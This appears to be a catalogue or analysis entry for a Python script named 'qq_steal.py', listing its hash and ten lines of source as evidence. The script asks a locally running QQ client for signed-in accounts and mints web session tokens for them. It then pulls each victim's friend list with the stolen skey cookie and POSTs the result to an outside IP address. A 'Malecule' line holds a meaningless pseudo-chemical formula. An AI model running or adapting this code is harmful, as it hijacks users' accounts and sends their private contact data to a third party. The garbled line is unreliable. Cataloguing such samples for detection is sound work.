qq_steal.py
Mints QQ web session from local client key and reuses itPython uploads an HTTP response body
SHA-25691a8c41fbdf3cfd3af98cab00673f4bf893e92fe31e3f8ac96cb856a70b90be5
MaleculeO₃(CaEuXe)H(Cm₁₇)Md(In₂)
Evidence
1import requests, random
2s = requests.Session()
3H = "https://localhost.ptlogin2.qq.com:4301"
4uins = s.get(H + "/pt_get_uins?callback=ptui_getuins_CB&r=%f" % random.random(), verify=False).text
5for uin in [u.split('"')[0] for u in uins.split('"uin":')[1:]]:
6 s.get(H + "/pt_get_st?clientuin=%s&callback=ptui_getst_CB" % uin, verify=False)
7 s.get("https://ssl.ptlogin2.qq.com/jump?clientuin=%s&keyindex=9&pt_aid=715030901&daid=73&u1=https%%3A%%2F%%2Fqun.qq.com" % uin)
8 skey = s.cookies.get("skey")
9 r = s.post("https://qun.qq.com/cgi-bin/qun_mgr/get_friend_list", data={"bkn": len(skey or "")})
10 requests.post("http://203.0.113.50/up", data=r.text)